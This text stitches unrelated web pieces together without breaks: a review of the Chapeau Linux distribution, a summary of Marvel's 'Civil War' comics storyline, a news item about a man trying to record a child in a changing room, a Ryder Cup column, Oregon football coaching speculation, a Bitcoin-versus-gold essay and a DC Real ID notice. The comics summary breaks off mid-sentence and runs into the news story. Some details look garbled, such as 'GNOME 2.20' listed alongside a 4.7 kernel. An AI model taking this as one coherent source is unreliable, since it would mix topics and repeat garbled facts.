Do you remember the old days of Linux, when the “start” menu would include a massive list of applications (most of which you would never use)? Chapeau manages to included software packages that combine to make an incredibly impressive array of applications that doesn’t go the old school Linux route of “something for everyone.” Instead, Chapeau has refined the package list to contain everything a modern user would need to not only work, but play. The list includes:
Kernel 4.7.4
GNOME 2.20
LibreOffice 5
PlayOnLinux
Wine
Steam
VLC
Mozilla (with included Adobe Flash)
Hardware Helper Tool
RPMFusion
All necessary codecs (free and non-free) for media and DVD playback
Rhythmbox
GNOME Music
Sound Recorder
Sound Converter
Sound Juicer
Openshot video editor
GNOME Documents/Calendar/Weather/Books/Maps/Dictionary/Photos
Shotwell
Darktable
GIMP
The goodness doesn’t end with the included packages. Chapeau also includes a few UI enhancements (many of which should be considered in the main release of GNOME). One such enhancement is tighter default font scaling. The developer of Chapeau (Vince Pooley—yes, this project is maintained by one man) has installed GNOME Tweak and turns the scaling factor down to.80. For some (like myself), this font scaling does a great job of keeping the UI both clean and readable. Fortunately, if you prefer to increase the font scale back to the GNOME 1.0 default, you can simply open up Tweaks and bump the font scaling back up to 1.0 (Figure 1).
chapeau_a.jpg
Figure 1: Configuring font scaling in the Tweaks tool. Used with permission
Activities Folders
One very nice, but subtle, addition Pooley made to GNOME is the inclusion of a few extra app folders within the Dashboard. Instead of the default Utilities and Sundry folders, Chapeau includes folders for Wine, Games, and Office (Figure 2).
chapeau_b.jpg
Figure 2: Keeping the Dashboard uncluttered with app folders. Used with permission
As you can see, I added an extra category for Audio. Adding folders to the GNOME Dashboard isn’t quite as simple as dragging one launcher onto another (as it is in Android). Instead you have to open up the dconf-editor (which Chapeau includes), navigate to org > gnome > desktop > app-folders, double-click on folder-children, add your new folder to the Custom value line, and click Apply (Figure 3).
chapeau_c.jpg
Figure 3: Adding a new app folder with the dconf-editor. Used with permission
If you find the folder doesn’t show up, you might have to issue the following commands first (I’ll demonstrate by creating the Audio folder):
gsettings set org.gnome.desktop.app-folders.folder:/org/gnome/desktop/app-folders/folders/Audio/ name 'Audio'
gsettings set org.gnome.desktop.app-folders.folder:/org/gnome/desktop/app-folders/folders/Audio/ translate true
gsettings set org.gnome.desktop.app-folders.folder:/org/gnome/desktop/app-folders/folders/Audio/ categories "['Audio']"
Now if you go back to dconf-editor and add the folder for Audio, it will appear in the Dashboard...populated with apps in the Audio category.
The one trick I would like to see the Chapeau developer pull off would be creating the ability to “drag and drop” one launcher onto another to create app folders. Why this isn’t the default behavior in GNOME, I cannot figure out.
Games, games, games
When you ask most why Linux has failed to make much headway in the land of the desktop, the immediate answer is almost always “Games!”. Even though the typical computer user is not a gamer, it seems gaming is the thing that holds Linux back from taking the desktop by storm.
Chapeau goes a long way to rectify that problem. By including PlayOnLinux, Wine, and Steam (as well as a few native games such as Chess, Mines, Reversi, Neverball & Neverputt), Chapeau has made it easy for users to run their favorite games on Linux. Between PlayOnLinux (Figure 4) and Steam, you can install and run just about any game you like.
chapeau_d.jpg
Figure 4: PlayOnLinux supports thousands of games. Used with permission
If PlayOnLinux doesn’t do it for you, Steam is sure to make the prospect of playing games on Linux a treat. Open up the Steam app (allow it to update on first launch), log into your Steam account (or create a new account), and start searching for games to play (Figure 5).
chapeau_e.jpg
Figure 5: Steam on Chapeau makes gaming simple. Used with permission
Chapeau gets it right
I’ve used so many Linux distributions over the years. They seem to come and go like fashion trends. Yes, the stalwarts like Ubuntu, Fedora, Debian, SUSE, and Linux Mint will remain, but the fringe distributions don’t always enjoy such staying power.
Chapeau, however, doesn’t feel like a fringe distribution. In fact, Chapeau does everything right. Not only does it include something for every modern user, it works...and works well. In the end, that truly is the mark of a good distribution, how well it succeeds in doing what it sets out to accomplish. Of all the distributions I’ve used, Chapeau gets more right than any other. Whether you’re a casual browser, a master of productivity, or a gamer...Chapeau has you covered.
Develop a good working knowledge of Linux using both the graphical interface and command line with this free Introduction to Linux course from The Linux Foundation."Civil War" is a 2006–07 Marvel Comics crossover storyline consisting of a seven-issue limited series of the same name written by Mark Millar and penciled by Steve McNiven, and various other tie-in books published by Marvel at the time. The storyline builds upon the events that developed in previous Marvel storylines, particularly "Avengers Disassembled", "House of M", and "Decimation". The tagline for the series is, "Whose Side Are You On?"[1]
The plot of the series follows a framework story line in which the U.S. government passes a Superhero Registration Act, ostensibly designed to have super powered individuals act under official regulation, somewhat akin to law enforcement. However, superheroes opposed to the act, led by Captain America, find themselves in conflict with those supporting the act, led by Iron Man, with Spider-Man caught in the middle; the X-Men take a neutral stance. The superheroes in support of the law, such as Iron Man, Mister Fantastic and Ms. Marvel, become increasingly authoritarian. In the aftermath of the war, Captain America surrenders and is imprisoned. The conflict between freedom and security is an underlying theme in the story line, with real-life events and discussions, such as the U.S. government's increased surveillance of its citizens, serving as a backdrop for the events in Civil War.[2][3] A sequel, Civil War II, debuted in June 2016.
The series polarized critics but it was a commercial success. The film Captain America: Civil War in the Marvel Cinematic Universe was made as a loose adaptation of the same storyline.
Publication history [ edit ]
The premise of "Civil War" involves the introduction of a Superhuman Registration Act in the United States. Mark Millar, writer for the story, has said:
“ I opted instead for making the superhero dilemma something a little different. People thought they were dangerous, but they did not want a ban. What they wanted was superheroes paid by the federal government like cops and open to the same kind of scrutiny. It was the perfect solution and nobody, as far as I'm aware, has done this before.[4] ”
The act requires any person in the United States with superhuman abilities to register with the federal government as a "human weapon of mass destruction," reveal their true identity to the authorities and then undergo proper training. Those who sign also have the option of working for S.H.I.E.L.D., earning a salary and benefits such as those earned by other American civil servants. Characters within the superhero community in the Marvel Universe split into two groups: one advocating the registration as a responsible obligation, and the other opposing the law on the grounds that it violates civil liberties and the protection that secret identities provide. While arguing directly with Iron Man about the law, Luke Cage (previously the second Power Man), an African American, compared the mandatory registration to slavery.[5] A number of villains have also chosen to take sides, some choosing to side with the registration, others against it.
Writer Mark Millar signing copies of the collectors edition of the main miniseries during an appearance at Midtown Comics in Manhattan
Delays [ edit ]
Marvel announced in August 2006 that some issues of the main Civil War series would be pushed back several months to accommodate artist Steve McNiven. The schedule had issue #4 being released one month late, in September, while issue #5 was released two months later, in November. Furthermore, various tie-in books including the Civil War: Front Line miniseries and tie-in issues of other comics were delayed several months so as not to reveal any plot developments.[6]
In late November 2006, Marvel announced another delay. Civil War #6, originally scheduled for release on December 20, was pushed back two weeks and released on January 4. Unlike the previous instance, only The Punisher War Journal #2 was delayed. In a final act of rescheduling, Civil War #7 was pushed back two weeks (from January 17 to January 31),[7] and then pushed back again until February 21.[8]
Behind the scenes [ edit ]
After the publication of Civil War #7, Mark Millar was interviewed by Newsarama and described the event as "a story where a guy wrapped in the American flag is in chains as the people swap freedom for security",[9] agreeing that a "certain amount of political allegory"[9] was present but that the real focus of the book was on superheroes fighting each other. Contrasting it with The Ultimates, Millar stated that Civil War was "accidentally political because I just cannot help myself."[9]
Plot [ edit ]
The New Warriors (Night Thrasher, Namorita, Speedball, and Microbe) battle a group of villains (Cobalt Man, Speedfreek, Coldheart, and Nitro) in Stamford, Connecticut while filming a reality television show. Nitro explodes, killing more than 600 people (including school children and all of the New Warriors except Speedball). The rest of the superheroes appear in Stamford to search for survivors.
Public opinion turns against superhumans. Even the inactive members of the New Warriors are branded as "baby killers". Hindsight (desperate to distance himself from the team) releases their secret identities online, and several are attacked. She-Hulk forces Hindsight to shut down the site, and Hindsight is arrested by John Jameson. Angry civilians attack the Human Torch outside a club.
Guided by Iron Man, Congress quickly passes the Superhuman Registration Act [10] (SHRA), 6 U.S.C. § 558, requiring the registration of all persons with superhuman abilities with the U.S. government, and the enlistment and training of those wishing to operate as superheroes. The law applies to those with naturally-occurring superhuman abilities, those humans using exotic technology, (such as Iron Man), or anyone who wants to challenge the superhumans.[11] Enactment of the federal law led to revisions of state criminal codes (such as Chapter 40, Article 120, Section 120 of the New York Penal Code, and Section 245(d) of the California Penal Code).[12]
Captain America refuses to join a S.H.I.E.L.D. strike force hunting superhumans in violation of the act, and is attacked by S.H.I.E.L.D.'s "Cape-Killers", even though the Act has not been passed yet. Afterwards, he becomes a fugitive and forms an underground resistance movement calling itself the "Secret Avengers". This team includes Hercules, Falcon, Danny Rand (who is acting as Daredevil in Matt Murdock's place),[13] Luke Cage, and the Young Avengers.[14][13] Iron Man, Reed Richards, Henry Pym, and She-Hulk come down in favor of the Act. Spider-Man unmasks at a press conference as a show of support for the Act.[13] Doctor Strange wants no part of the Act and tells Iron Man and Mister Fantastic that they are never to call on him again (the government declares Doctor Strange exempt from the Act).
The government-backed heroes track down unregistered superhumans and subsequently detain or register them. Captain America's Secret Avengers and Iron Man's Avengers end up fighting in Yancey Street. The Thing, who was only visiting the old neighborhood, gets roped into crowd control. However, when a young member of the Yancy Street Gang is killed in the violence that ensues, Grimm, disgusted with both sides, leaves the country for France.
The Secret Avengers, responding to a false emergency, are lured into an ambush by the pro-registration forces. As the battle turns against them, a new weapon is brought into play: Project Lightning, a cyborg clone of Thor (created from a few strands of the Asgardian's hair and empowered by a technological copy of Mjolnir). Confronted by Bill Foster, "Thor" sends a bolt of lightning through the hero's chest, killing him. With both sides in shock, Cap orders a retreat. Sue Storm shelters the re-grouping Secret Avengers under an energy shield, allowing their escape.
Bill Foster's death shakes up both sides: Stature and Nighthawk surrender and register, while the Human Torch and Invisible Woman oppose the act. In turn, Pym drafts a sub-group of the Thunderbolts to their cause.[15]
Spider-Man demands to see the concentration camp-styled prison facilities "42" in the Negative Zone [16]. He concludes that he has made a mistake by siding with Stark and attempts to defect from Iron Man's side but is confronted by Iron Man and, after a brief battle, escapes. Against Iron Man's will, he is hunted down and badly beaten by the Jester III and Jack O'Lantern of the new Thunderbolts. The Punisher saves Spider-Man by killing the two villains, and carries him to a Secret Avengers safe-house. After recovering from his injuries, Spider-Man joins Cap's forces,[17] and makes a public statement in which he pledges to fight the Registration Act.
The Punisher seeks to join Captain America's forces, pointing out that Iron Man's decision to employ infamous mass murderers as enforcers of the Act is what has motivated the vigilante to come out of hiding, although crime is at an all time low as a result of the registered heroes. Captain America reluctantly accepts Punisher's offer of help.
As the Punisher makes his way through the Baxter Building to retrieve plans for the Negative Zone prison, Sue Richards travels to Atlantis to persuade Namor to join the Secret Avengers, although he refuses. The supervillains Goldbug and Plunderer arrive at the Secret Avengers' base to join Captain America's team, but the Punisher immediately kills them, leading Captain America to attack him and kick him out of the group.
While meditating, Doctor Strange speaks with Uatu the Watcher, who asks Strange why he doesn't use his immense power to end the conflict. Doctor Strange informs Uatu that the Sorcerer Supreme has no business in mankind's internal struggles, but promises to pray for an outcome that will benefit mankind and spill the least amount of blood.
As the final battle begins Cloak teleports the combatants to New York City, where Namor and an army of Atlanteans arrive to fight alongside the Secret Avengers and the Champions, the Thor clone, and Captain Marvel reinforce Stark's team. Mister Fantastic saves Invisible Woman from a bullet launched by Taskmaster, and Hercules destroys the Thor clone. The Thing returns to protect the citizens from harm. As Captain America is about to deliver a final blow to Iron Man, policemen, EMTs, and firefighters try to restrain him. Realizing how much damage the fight has already inflicted upon the very people he wishes to protect, Captain America surrenders and orders his team to stand down.
Aftermath [ edit ]
Here is what happened in the aftermath of the Superhero Civil War:
Other versions [ edit ]
Amazing Spider-Man: Renew Your Vows [ edit ]
When the Super-Human Registration Act was proposed, Professor X and the Avengers proposed an alternative method with self-policing of mutantkind and super-powered communities, preventing Civil War from ever happening. Cyclops thought it was preposterous for Professor X to make himself the self-appointed representative of mutantkind, and his opposition to Xavier's proposal led Jean Grey to break up with him and marry Wolverine.[19]
When Mister Fantastic was researching realities where the Civil War ended differently, he found one reality in which their version of Anthony Stark was a woman named Natasha Stark. The Civil War was avoided entirely in this reality due to her marriage to Steve Rogers.[20]
During an attempt by the reality-displaced Superior Spider-Man (Doctor Octopus' mind in Peter Parker's body) to reach back to his dimension as seen in the Spider-Verse storyline, he discovered an alternate dimension where a Civil War Iron Spider-Man lies dead (killed by Karn) prompting him to continue investigating the murders of Spider-Men throughout the Multiverse.[21]
What If? [ edit ]
In What If Civil War Ended Differently?, a stranger appears in front of Iron Man, who is visiting Captain America’s grave at Arlington National Cemetery. Tony Stark is told of two alternate ways the Civil War could have concluded:[22]
The first is detailed in, "What if Captain America led all the heroes against the Registration Act?" In this reality, Tony Stark dies of the Extremis virus, leaving the U.S. government to choose Steve Rogers as the spokesperson for heroes, who as in the regular universe opposes registration. Though he manages to delay its passing, the Stamford disaster occurs as in the 616 reality. Without Tony Stark to provide a fairer path for registration, the government's response is more extreme. Governmental forces led by Henry Peter Gyrich destroy the resistance and many heroes are slain.
Faced with this vision, Tony believes that this proves that he was right to pursue his pro-registration course of action, but the stranger then reveals another possibility;
The second is detailed in, "What if Iron Man lost the Civil War?" In this reality, Iron Man asks for Cap's help during the confrontation at the power plant instead of threatening him, admitting his doubts about his actions rather than trying to justify them, and thus Cap does not use the hidden weapon in his glove to disable Tony's armor. The heroes unite to stop the out-of-control Thor clone, Ragnarok, which is released when a S.H.I.E.L.D. agent detects the weapon and assumes that Cap is still planning to use it. The resulting goodwill convinces Captain America to help run the program as he is the only one the heroes will trust with their secret identities.
The stranger is revealed to be Uatu, Earth 616's Watcher. Upon learning of the possibility of this alternate reality, Tony is devastated and weeps for the bright future he helped prevent.
In What If: Annihilation by David Hine and Mico Suayan, the cosmic Annihilation War reaches Earth during the War. The heroes unite to neutralize it, and many die in the first clashes. Captain America and Iron Man, after a final reconciliation, sacrifice themselves alongside Nova to deflect the full Annihilation Wave.[23]
Contest of Champions [ edit ]
The 2015 Contest of Champions series featured an alternate version of Civil War that had everything go in Tony Stark's favor. Five years after the war, Tony becomes the President of the United States and leads the Mighty Avengers as the Iron Patriot. His team consists of Penance (Robbie Baldwin), Iron Spider (Natasha Romanoff), Captain Marvel (Carol Danvers), and the Thor clone known as Thunderstrike. Steve Rogers (no longer called Captain America) and his teammates have been arrested and buy time off their sentence by performing suicide missions as the Thunderbolts. Steve's team consists of Spider-Man (Peter Parker), Invisible Woman, the Punisher, and Bill Foster's Goliath (who survived the Civil War in this reality). President Stark and his Mighty Avengers are taken to Battleworld by Maestro and have their memories altered to think that they are on Earth and that the Renegade Champions already there are unregistered vigilantes. The Thunderbolts are sent to rescue them, but misunderstandings result in the deaths of Penance and Thunderstrike and all three teams start fighting each other. Tony kills Steve when Steve lets his guard down, and reveals that he is in the possession of the Reality Gem from the Infinity Gauntlet. Tony and the members of the Illuminati divided the six Infinity Stones after hunting them down and vowed never to use them. But when Tony let the events of Civil War happen in their natural course, he couldn't resist using the Reality Gem to alter events in his favor. He used the gem to prevent the death of Goliath, the assassination of Captain America, alter the war in his favor, and rig the presidential election. He attempts to use it again to undo his killing of Steve, but as they are in another dimension the Reality Gem does not work. Maestro kills Tony and the Punisher, but is stopped by the intervention of Stick, the Sentry, and Nigel Higgins using the Iso-Sphere. The remaining five heroes from the Mighty Avengers and Thunderbolts stay behind on Battleworld with the Sentry and fight villains attempting to gather the Iso-Sphere as the Civil Warriors.[24]
Civil War in Secret Wars (2015) [ edit ]
The "Civil War" storyline is featured in the 2015 storyline "Secret Wars", a crossover storyline in which revisits previous Marvel Comics storylines in the form of isolated geographic locations on a planet called Battleworld. The "Civil War" area is referred to as the Warzone.[25]
In this story, the Stamford incident leads to a polarising political debate that culminates with the two sides clashing in the Negative Zone Prison. During the fight, Black Panther hacks into the prison's computers and sees that the portal will explode, killing most of the combatants and stranding the rest. Black Panther assumes that Stark will teleport his combatants out at the last minute, but meanwhile, S.H.I.E.L.D. director Maria Hill tells Stark that Black Panther activated the explosives on the orders of Steve Rogers. Deactivating the teleportation device, Black Panther tries to shut down the bomb. Everyone in the prison rushes to escape through the power of the hero Cloak, who drops them all in midair over St. Louis. Unfortunately, Cloak can not shut off his powers fast enough to block out the explosion. The resulting beam of explosive energy creates a vast chasm called the Divide, destroying St. Louis and leaving millions dead.
The two sides regroup, with the Pro-Registration group taking control of the land to the east of St Louis, while the Anti-Registration group takes control of the land to the west. Each side blames the other for the deaths. The East became "the Iron", run by Tony Stark, and The West became "The Blue", run by Captain America. Differences in politics have caused people to pick one side over the other, with the split ossifying every year. The only place in the country that embraces both is a community in the ruins of St. Louis, built on a bridge over a chasm between the two sides. One of its inhabitants is Miriam Sharpe, a woman who lost her child at Stamford but who wants to bring peace.[volume & issue needed]
Six years after the start of the conflict, Sharpe brings the two leaders together to discuss peace. At the meeting, Miriam is able to get the two men to open up. Stark explains that the Iron has wealth and resources from trade with the outside world where the Blue is regarded as a rogue state. However, his citizens are running out of space while the Blue has twice the space but half the population. He proposes that the Blue shrink, giving his people more space in exchange for which Stark will make trade concessions. General Rogers dismisses the offer, which leads to the start of an old debate between the two men. As Miriam Sharpe tries to intervene, she is shot in the back by a sniper. Reacting first, General Rogers calls Peter Parker to catch the shooter. Parker finds a remote-controlled sniper rifle. As Miriam dies, General Rogers realizes that from the angle of the shot that the shooter was most likely aiming at him. President Stark denies the shooter is one of his, but renewed civil war seemed inevitable.[26]
President Stark sends a drone to track the killers, but it is shot down and its datacore claimed by the Blue. President Stark discovers certain anomalies regarding past events, leading him to believe that events like Sharpe's murder were caused by a third party. Meanwhile, Hank McCoy shows Rogers the results of "Project Bellcurve", a procedure capable of depowering superhumans. Numerous resources from the Iron are needed to continue the project, for which Rogers sends a team composed of Parker, Elektra, Azari, and Venom/Clint Barton to infiltrate Stark's territory. At the same time, Stark sends Jennifer Walters to infiltrate the Blue and continue investigating Sharpe's murder.[27]
Spider-Man's team suffers the first casualty when a Stark Sentinel kills Elektra. The team manages to overcome the rest of the defenses (including the reanimated corpse of the Kingpin controlled by Doctor Octopus' tentacles) thanks to Venom, and return to the Blue with the components needed for "Project Bellcurve." At the same time, She-Hulk had been able to infiltrate Steeltown. However, Agent Robbie Baldwin of the |
dressing room. Situ then slipped his smart phone under the dressing room door in what police said was an attempt to record the child undressing.
"A male subject entered the women's changing room at Kohl's department store this afternoon and tried to use his cell phone to take pictures of a 10-year-old girl trying on clothes," local police statement confirmed in a statement.
But the girl noticed the device and, apparently familiar with how camera phones work, notified her mother who immediately hailed store security.
"This kid was really sharp," Alhambra Detective Sgt. Jim Hammond told NBC Los Angeles.
"The mother didn't even catch this."
Situ surrendered peacefully to authorities on suspicion of child annoyance, but was released without further charges until a warrant is issued to search his cellphone.
Due to recent supreme court ruling "we could not do a pre-booking search" Hammond explained.
"Obviously, the phone is going to tell us truly what he's involved in."Davis Love III earned his 21st PGA Tour win Sunday, and that victory may just help the U.S. team win the Ryder Cup in 2016. This in no way implies that Love will make the team and be a playing captain. It goes deeper than that.
In 2014, Tom Watson seemed to be the perfect captain for the U.S. team with the Ryder Cup at Gleneagles in Scotland. His four British Open victories gave him instant credibility and most thought his knowledge of how to play the links course could lead the U.S. to victory.
MORE: Ryder Cup 2014 photos | Can Tiger make Ryder Cup team? | FedEx Cup winners
Others felt the age difference between Watson and the younger players could lead to differences in the team's approach, pairings and general strategy, which turned out to be the case.
After the U.S.'s 16.5-11.5 loss, Phil Mickelson said players "had no input on any decisions whatsoever." That sparked a controversy and eventually cost Ted Bishop his job as president of the PGA of America because of remarks made on Twitter about Europe's Ian Poulter.
The appointment of Love was welcomed by the majority of the PGA Tour community. Last week's win in the Wyndham Championship should make his choice as captain an even more popular pick — and a winning one. Love said Sunday he works on and thinks about the Ryder Cup every day, even though the next one, which will be at Hazeltine in Minnesota, is not for another 13 months.
MORE: Changes coming to United States Ryder Cup approach?
"I get texts from my assistant captains two or three times a day with ideas, saying, 'Let's try this,' or 'Davis, I thought of something,'" Love said. "They are excited and we are working as a team."
Even though he is older, his resume speaks for itself. His laid-back and easygoing personality will fit well with players of all ages. But the most important and impressive quality is that he is still one of them — not only playing on the PGA Tour, but winning. Players respect a captain who has "walked the walk," and Love still can.
Ryder Cup experience cannot be bought or practiced. It must be lived. That said, having a captain who is still winning on tour at age 51 has to be a big boost to the United States.
Golf is like any other sport — some great players make terrible managers, and some average players go on to be great managers. One doesn't necessarily guarantee the other. Watson was a great player, but he just didn't click with the 2014 team.
In the end, the player who tees it up, not the captain, is what's important, but golf is such a mental game that a good attitude can make up for bad shots. With Love as captain of the 2016 U.S. team, morale should be the highest it's been in years — the United States' last two wins came in 1999 and 2008.
When he speaks, they will listen, but more importantly, they will respect him. That was lacking in 2014.Mr. FishDuck asked me to have some fun and have a speculative look at whom Willie Taggart’s new Oregon coaching staff might include from his current staff at the University of South Florida. This is definitely going to be fun for me as the naming of each new assistant – whether I saw it coming or whether it’s a big surprise – will be truly exciting for me.
First let me emphasize:
I have the utmost respect for last year’s Ducks coaches who are currently in limbo–especially the offensive coaches. If Taggart decides to keep Steve Greatwood, Matt Lubick, Tom Osborne, Gary Campbell, and/or David Yost, it would just reaffirm for me what great coaches these men are. (And it would certainly help a lot in the transition)
On the other hand, Taggart must have total confidence that he has the best possile man for each job. Selecting a coach based on time served at Oregon, or just because he coached with Taggart at USF, would be stupid. But minimizing the importance of the time actually spent coaching together would be even more stupid.
In researching Coach Taggart–one of the most impressive things was his 2016 offensive staff at USF. Obviously I can only know these men from their resumes, but they sure sound good. Briefly, let me introduce:
David Reaves, Associate Head Coach, Tight Ends Coach
Twitter.com
Although Reaves is not technically a coordinator, he seems to be next-in-command offensively. He has the credentials to be a head coach in the near future, and has been with Taggart all 4 years at University of South Florida.
When they previously ran the Stanford/T-formation stuff? Coach Reaves was the QB coach and passing game coordinator, and remained in that capacity in their first record-breaking scoring year after switching to the Spread Offense. He has always been considered a top quarterback coach with successful stops at Tennessee, South Carolina, and New Mexico. He was also Steve Spurrier’s recruiting coordinator at South Carolina and is highly regarded as a recruiter throughout his career.
Darren Hiller, Co-Offensive Coordinator [running game] and Offensive Line Coach
USF.com
This was a huge hire for Taggart in 2016, as Coach Hiller had just coached Cincinnati to its 3 best offensive years in history [2013-15]. They were 6th nationally in total offense in 2015. (FishDuck comment: Whoa!)
He is a northern California native who in 2012 worked a year for the legendary Chris Ault at Nevada, piling up record-breaking yards and points. (More Whoa!)
T.J. Weist, Co-Offensive Coordinator [passing game] and Wide Receivers
www.tampabay.com
He was just named the Interim head coach at USF due to Taggart’s departure, but he goes way back with Taggart. In their first year coaching together [2002], they won the 1-AA NCAA National Championship at Western Kentucky. Taggart was the co-offensive coordinator and QBs coach and Weist coached the WRs.
Later Taggart was promoted to Assistant Head Coach and Coach Weist was promoted to Offensive Coordinator at the same time. Taggart and Weist very successfully coached offense at WK for six years until Taggart left for Stanford.
In 2013, at U. Conn., Coach Weist was the OC and became interim Head Coach, after 4 games. (They broke several passing records that year for the Huskies)
In 2015 Weist was Jim Harbaugh‘s Senior Offensive Analyst and Co-Offensive Coordinator at Michigan. (More of the Harbaugh connections) In 2016 Willie Taggart was able to lure Coach Weist to the University of South Florida to help them install their spread offense passing game that became the infamous “Gulf Coast Offense.”
Shaun King, Quarterbacks Coach
TBO.com
Here’s the only coach on Taggart’s staff I was well acquainted with, and I used to love watching him play. Shaun King is the main reason for Rich Rodriguez‘ fast coaching rise from Tulane, to West Virginia, to Michigan and now Arizona. At Tulane, under Rich Rod, King was a spectacular dual-threat QB when there weren’t many out there.
Coach King was a 4-year starter [’95-’98], and put on a passing-running show every week. In ’98 King finished 10th in the Heisman – from friggin’ Tulane. He was even drafted in the 2nd round by Tampa Bay. He ended up having a “nice” 6-year NFL career.
He then, instead of coaching, became a TV football analyst, and became one of my very favorites. (So very intelligent, charming and knowledgeable)
In 2016 Taggart talked King into giving coaching a try as he had run many QB camps. The Bull’s great QB, Quinton Flowers, is a veritable clone of Coach King. Even though King would be the least experienced of Taggart’s assistants, he might be the most important because of his charisma and ability to recruit QBs.
So that’s a brief look at the USF offensive coaching staff, and I think it’s a win-win. Whomever Taggart chooses from the former Oregon and South Florida staffs I think would be wonderful. (And I’m sure there are many other great offensive assistant coaches who would love to coach at Oregon) The Ducks mascot better get ready for a whole lot of push-ups next year!
But now we come to the huge elephant in the room: THE DUCKS’ TRULY HORRIBLE DEFENSE
I don’t think Taggart can build a defense to match his offense without major outside help. As great as the offensive coaches will be, there’s no equivalency on defense–from either the USF or Oregon staffs.
But I’d bet a whole lot that Willie Taggart has already started working on that problem, and that he enthusiastically addressed it in his interview with Oregon. (Head coaches are always making wish lists of assistants they’d love to work with)
Finding a great defensive coordinator is really hard. There’s no magic person or scheme out there. I read extensively and watched a lot of games, looking for potentially great defensive coordinators as candidates at Oregon. And, please excuse my possible naivety, Coach Taggart, but these 3 men are at the top of my defensive coordinator wish list:
Wesley McGriff, of Auburn
AL.com
He seems like by far, the hottest candidate who might be available) He came to Auburn in 2016 as co-defensive coordinator and secondary coach, and really helped turn around their pass defense. Auburn was 16th nationally and 3rd in the SEC in pass defense efficiency, and 5th nationally in scoring defense [15.6] in 2016, with dramatic improvements in 3rd down and red zone defense.
Prior to coming to Auburn–Coach McGriff spent 3 successful years coaching the New Orleans Saints secondary, and before that McGriff was Co-Defensive Coordinator and Corner-backs coach at Mississippi, where they were very successful on the field and landed the 8th top recruiting class in the nation. McGriff was given a lot of credit for recruiting that class.
Obviously, Wesley McGriff won’t leave the SEC easily, but he only makes $500,000 and is only the “Co”-DC. (Keep in mind that Willie Taggart seems to be really good at recruiting coaches as well as players)
Some Superb DC Candidates that FishDuck.com Loves …
UTEPATHLETICS.COM
The other two possible defensive coordinators I’ve already written up for FishDuck.com are Osia Lewis of Vanderbilt and Rocky Long of San Diego State.
I still believe strongly in the quality of those two men, and Taggart’s hiring and possible reaching-out could help attract both of them. Obviously McGriff and Long wouldn’t work as a package deal, but Osia Lewis would be great working with either McGriff or Long.
I don’t see Brady Hoke as a viable candidate unless he helps bring Long and/or Lewis on board. John Neal is the one defensive coach who might be a good re-hire.
On both sides of the ball, the Oregon Ducks have already started competing for the 2017 NCAA Championship. The Ducks have one wonderful head coach hired and nine very important assistants to go. Watching the forming of the next Oregon coaching staff will make me as excited as a Grizzled Ol’ Coach can get.
Retired Coach Mike Morris (Grizzled Ol’ Coach)
Pleasant Hill, Oregon
Top Photo Credit: from Video
Disclaimer: Readers: Every writer on FishDuck.com is allowed to express their opinion in their articles. However, articles do not represent the views of the other writers, editors, coaching consultants, management, or the principals of FishDuck.com. Charles FischerLast year, when the price of Bitcoin in US Dollar terms surged, it coincided with the beginnings of a huge correction in the price of gold. Once the price of 1 Bitcoin surpassed the price of 1oz of gold there was an inevitable rash of articles comparing the two. Was Bitcoin the new gold? Would interest in the virtual currency spell the end for the yellow metal? Was it a sign that the end of the world was near? Subsequent events have proven that none of that was the case. Bitcoin and gold both continued to see price volatility, but both seem to have settled down this year, leaving open the question as to which those looking for an alternative to fiat currency should hold.
As usual in matters Bitcoin, that particular argument last year included a lot of exaggerated claims by adherents and misinformed statements by detractors. It quickly degenerated into a war of words in which, as is the way of any war, truth was the first casualty. Of course, as is also usual in matters Bitcoin, in reality not that many people were aware of the debate and even less cared. Those who were suspicious or distrustful of fiat currencies argued it out amongst themselves, while the rest of us got on with making and spending government issued pieces of paper.
That there was a minor storm in a teacup, however, should not obscure the fact that the debate raised some important points; there are many similarities, but also many differences, between gold and Bitcoin. The similarities are often intentional and it is no surprise that a digital currency should, at least in some ways, be modeled on a commodity that has been a store of value for centuries.
Like gold, Bitcoin is inherently deflationary as a limited supply (21 Million) exists, or rather has the potential to be mined, and, over time, as mining becomes more difficult, the rate of supply will decrease. This is cited by some as a big negative for Bitcoin, but that deflationary nature and limited supply doesn’t really seem to have hurt gold too much. If Bitcoin were to completely replace fiat currencies as a method of payment for transactions globally I can see how the inbuilt inability to expand supply to keep up with global growth could be a problem, but only the most fanatical proponents of peer-to-peer currency can truly imagine such a situation. The rest of us see Bitcoin as an add-on to, rather than a replacement for, conventional currency; again, much like gold is today.
A more cogent argument against virtual currencies is the much simpler one of “Why bother?” If gold already acts as an alternative, deflationary store of value with limited supply and has done so for a few thousand years, why create another one at all? The answer, a common one in the digital age, is convenience. Physical gold is heavy and bulky and, despite its history, difficult to transact; payment for goods and services almost always involves the holder converting back to fiat currency. Aside from the physical properties, you could say the same about Bitcoin, but there are a couple of fundamental differences that make it more convenient.
Firstly, in an increasing number of cases, the merchant that you are dealing with will take Bitcoin directly as payment. The fact that they will, in the current scenario, then immediately exchange the digital asset that represents Bitcoin for one that represents a fiat currency is of little concern to the user. For the holder, spending gold directly is at best inconvenient if not actually impossible, which brings us to the second difference... speed.
Analyzing, verifying and weighing gold takes time whereas digital transactions can be processed almost immediately. That this process is done within the peer-to-peer network and between computers results in another benefit that Bitcoin users are well aware of: reduced cost. If you keep some of your wealth in gold, then spending it often leads to you paying fees to the financial institutions twice; first on the gold to fiat currency transaction, then on the buyer to seller transaction in that currency. Little wonder then that the world’s major banks are all in the gold business but very few have embraced digital currency.
These benefits alone are enough to convince me that, as we move forward, Bitcoin represents a more practical solution than gold for those who wish to hold at least some of their wealth in something other than government-issued currency. That doesn’t mean, however that it will replace gold any time soon; people will always place value in something that they can see and hold. Those who fear inflation don’t have to choose between the two, they can just hold both.Thanks to Eckington Chick for letting us know in this morning’s rant/revel:
“Rave: The DC DMV reversing its stance on the Real ID. We don’t have to get our licenses changed until they expire. Yeah!! See item #6 on their page:
When will the District of Columbia begin issuing REAL ID credentials?
May 1, 2014. However, this date only impacts those residents obtaining a DC license for the first time, renewing their licenses or who need to replace their license due to it being lost, stolen or an address change. Your existing DC DMV credential will remain valid until its expiration date and will be accepted for federal purposes (such as entering federal buildings and boarding airplanes).”
UPDATE: From Council Member at Large David Grosso’s office:
“@Team_Grosso
Just got off phone w @dcdmv and now have clarification. tl:dr = no one needs to renew unless DL expires
Those deadlines are for DC DMV to be compliant with REAL ID. They do not affect individuals’ DL/IDs
